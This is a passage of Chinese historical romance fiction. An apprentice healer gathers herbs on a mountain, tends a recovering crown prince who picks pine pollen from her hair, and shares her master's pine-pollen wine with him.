她正需一个借口,暂时逃离这个地方。 闵福道:“你去吗?” 闵春也担心:“你多久没进过山林?还识得那些草药?” 竺影道:“您就当我是——温故知新。” 她系上围裳,取了麻布裹起头发,背起竹篓,欣然出门了。 山路盘绕,百步九折,于林木间蜿蜒纵深。其实也不见什么专门修的路,只有山人频繁踩过,余下几条不长草的泥道。 草屋附近的药草多被闵福师兄采了去,不剩下什么长成的药材,竺影只能去更偏远的地方。 途中见着椭圆的叶子,白色的叶脉,植株低低地匍伏在地上,这便是肺形草。 越往深山走,所见的收获愈多。半山腰下,多有乡民入山樵采,挖了草药回去晒干,售给城中药铺。一年进山数十回,才换得一点微薄的银钱,充作生计来源之一。 松山极高、极广,拥着数座峰峦,禽鸟鱼虾、野菜药草从不稀缺,供得起山下数百山民的生资。 竺影如今再来,却觉得草药少了许多,连鸟鸣也不似当年此起彼伏,只有鹧鸪“咕咕”地叫,颇有涸泽而渔之感。 盛世之时,草木也盛;荒灾之年,草木也荒。 竺影绕过一座峰峦,来到了山顶上。日头高悬在头顶,晌午了,林间薄雾尽散。 山间有木香,随着松风而来。 她在这里歇脚片刻,迎风消了薄汗,复又背起竹篓,去往另一座峰峦。 出去半日,傍晚才归,仍不得满载,只带回来半篓子药草。 竺影趿拉着步子回来,置下背篓,抖干净鞋底的泥,进门寻了条麻巾擦汗。 “师父,你这山头都不剩什么草药了。” 闵春淡然道:“山下病人多嘛,改日再让你师兄到争暮峰转一转,他昨日还说,葛县尚有人吃不上药呢。” “嗯。”竺影闷闷应答。她好久不行远路,刚要坐下休息。 师傅忙着称药,顾不上看她一眼,又催促着:“趁着日头没落山,把你捡的药草拿去晒了,到时还得紧着这点入药呢。” “好。”她又拖着竹篓出去。 手里的事情没忙完,师傅又催:“去看看药煎好没,记得盛出来给他送去。” 竺影心道,奇也怪哉,今天怎么只逮着她使唤?她往屋里屋外看了一遍,“师兄去哪儿了?” 闵春道:“大牛不肯让他家公子再吃糠咽菜,说要出去打猎,你师兄一听,药也不去采,就跟着出去了。” “哦。”竺影道,原来如此,还是他的一派作风。 洗净了手,便去给病人盛药。 太子殿下在院中浅眠,轻阖着眼,一点余照落到他身上。 竺影行走带过一阵风,他在睡梦中不动,只有罗袂浮摆。 闵大夫说得多对呀,他多像一块药材,白天放在屋外头晒,晚上才收进屋里来。 竺影轻手轻脚过去,把碗搁在孟闻身旁的木案。犹豫了一下,怕药凉了他还没醒,又凑过去同他小声说话:“殿下,该喝药了。” 他不应声。 “殿下?”竺影托腮候在一旁,看见他眼睫轻微扇动,知道他醒了。 以为他还在生气,才故意不应她。 怕师傅在屋里听到,竺影挨得极近,近到几乎是同他耳语:“殿下勿要生气呀,于养病无半点利处的。” “哦?”孟闻闭着眼,悠哉悠哉道,“你知道我为何生气?” 竺影心里没底:“许是因为……我瞒了殿下一些事吧?可那些毕竟是我的私事。” 孟闻道:“我与你说过,欺君是何下场罢?” 竺影有些后悔了,才刚说了两句话,欺君这么大的罪过就给她扣了下来。 她敢承认吗?不承认的话,便又是在欺他了。师傅心直口快的,不会帮着她圆谎。是以她之后的遮掩,多半是欲盖弥彰。 竺影同他商量着,开始挟恩图报:“殿下,怎么说都是我救了你,虽不敢谈功过相抵,求您赦免我的罪责,只求殿下不要迁怒我的师傅,还有我的家人。” “嗯。”孟闻道,“我也并非这般不讲理之人。” 竺影试图得寸进尺:“那……看在我为殿下上山采药,又亲自熬药的份上,再对我从轻发落,可不可以?” 孟闻睁开眼睛看她,一时四目相对,将她眼中疲态尽收眼底。疲惫之余,还有惶恐。 俯仰之间,她又慌慌张张退离,端坐藤榻旁的草席上。 孟闻心下叹息,她总是这样的。表面上谨小慎微,背地里阳奉阴违的事一件不落。 半晌,等他没有发难,她的目光才又探过来:“您不说话,我就当您答应了?” 他缓缓道:“好。” 因病也积攒了一身疲敝,懒得为难于她。 竺影得了他答复,乍然展颜。她一高兴,便不那么害怕,也不想着躲他了。 竺影提醒他道:“殿下先喝药吧。” 孟闻恍若未闻,抬手召她:“你过来。” 竺影问:“还有什么事吗?”却坐着不动。 孟闻复道一声:“过来。” 竺影这才往他的方向挪近一些,转头却见他伸手过来,她下意识抬手要挡,反被他另一只手捉着放下。 宽大的罗袖垂在她眼前,声音自头顶落下。 他说:“别动。” “哦。”竺影随口答应,又岂会安静坐着任他摆布? 她阳奉阴违地从他袖前探出头,抬眸见他捻了一叶枯草在指尖,才知他方才是在做什么。 竺影道:“我自己来。” 说着便要伸手去解发巾,刚伸手摸到绳结,反被他一巴掌拍了回去。 “说了别动。”他好不耐烦。生硬地扳过她抬起的脑袋,继续拣去发上的草叶。 她不知从哪里沾染来了一身花粉,发巾上挂着几根杂草,一身凌乱,她自己浑然不知。 竺影时不时抬头:“殿下——” 孟闻盯着她发顶:“别叫我,叫你师傅听去了,要来骂我。” “哦。”竺影半低着头,不说话也不动了。 空气中浮着花粉,殿下的罗袖时时拂在她后颈上,弄得她脖子发痒,好不自在。 直到取下竺影头上最后一根草叶,非要如此他才肯放开手,也长松了一口气:“总算没那么碍眼。” “……”竺影无语,幽怨凝视着他。 她千辛万苦上山给他采药,他还嫌她碍眼。 他似察觉了身边人的怨怼,转头对上竺影的目光,柔声道:“近日劳累你了。” 那片草叶仍留于指端,他不曾弃掉。 鼗鼓成精的她,又是一阵摇头道:“没有,不累。” 孟闻接着道:“你带我寻医,我未曾答谢过你。回京以后,可以答应你一件事情。” “当真吗?”竺影须得再三确认,才敢相信他那刻薄的嘴里也会说出这番话。 “你竟不信吗?”他转头哂笑,戏弄她道,“那便当作是戏言罢。” 竺影赶忙见好就收:“我当然是相信的。” 孟闻道:“等你想好了,便来与我说。” 竺影顿又欢天喜地了,捧了药碗奉上,“药凉了,殿下快喝吧。我回屋去换件衣裳。” 孟闻一点头,喝过了药,继续在藤榻上沐一点夕阳余热。 竺影进屋道:“师傅,我脖子好痒,您看看我是被什么虫咬了。” 闵春抬眼看去,这才见她灰头土脸,不忍发笑:“你这是到松林里乱窜,沾了松花粉吧。” 竺影恍然:“这样啊。” 闵春同她道了一声“等着”,遂停下手里的活计,回房一顿翻找。 竺影以为她是去找膏药,谁知她递过来一个小酒坛。 “喏,拿去吧。”闵春道。 “这是——”竺影揭开盖子轻嗅,惊喜道,“是松花酒?” “嗯。”闵春点头,“过完了年节,还剩下些,刚好你来了。” 年节都过去三两个月了,她能捡到一点点节俗的余留,就高兴得不行。 儿时记忆里的云琅,已经理她很远很远了,如今才一点一点地,慢慢捡拾回来。 竺影眉眼一弯,欢喜抱了酒坛出去。 孟闻躺在屋前的藤榻上,暖洋洋的阳光洒落了半身。 身后欢声笑语携着风来,他甫一抬眼,撞见她眼中笑意,分外浓郁。 只可惜,那笑意一但落到他身上,就收敛了许多,好似被他攫了去。 他分明什么也没做,只是睁眼而已。 竺影仍是坐在榻边的草席上,坐在孟闻身侧。先是笑着不说话,手肘支在酒坛上,拖着下巴看他。 孟闻自然清楚,她才回屋不久,突然喜滋滋地跑过来,是想听什么。于是问了她:“你怀里抱着的是什么?” 她听了又笑,敲了敲酒坛,同他道:“这是云琅的松花酒。” 孟闻道:“没听说过。” 然后等她继续跟他这个外乡人炫耀。 竺影果然饶有兴致,同他絮叨:“殿下从前也没来过云琅,自然不曾听说。以前云琅的松花酒也是一绝,不逊于河东的白堕、山西的汾清、霸州的菊花秋……” “你瞧,那就是松花。”她指向探进竹篱的松枝,几条松枝随风摇摇荡荡,花上沾满黄粉。 三月里来,松花满岗。一经春风吹拂,花粉飞扬,送来满怀松香。 孟闻并没有顺她所指移目看去,目光只落在她身上。他说:“你身上也有。” “咳咳。”竺影低头一看,好一阵赧然。方才一高兴,提了酒坛出门来,全然忘了换衣裳。 罢了,谁叫篱外飞花零乱,风狂春不管。 竺影又接着说:“以前,山下的家家户户都会采松花酿酒。只是后来——” 后来却很少有人家能喝上,他们家中没有了那么多酿酒的余粮。 她没说后来如何,只是笑着问孟闻:“你要不要尝一尝?” 孟闻尚未出声,她就自言自语接话:“我怎么忘了呢?你是病患,不能饮酒。” 孟闻:“……” 除了笑叹口气,似也不能反驳些什么。 她捧着一坛酒,像捧着什么稀世珍宝,当着他的面,兀自揭开盖子来尝。 勾着一个不能饮酒的人,还要同他说是什么滋味。 她说,云琅的松花酒清苦,有淡淡的木香。 他单看得到,嗅得到,触不及,无可奈何地,心里有些发痒。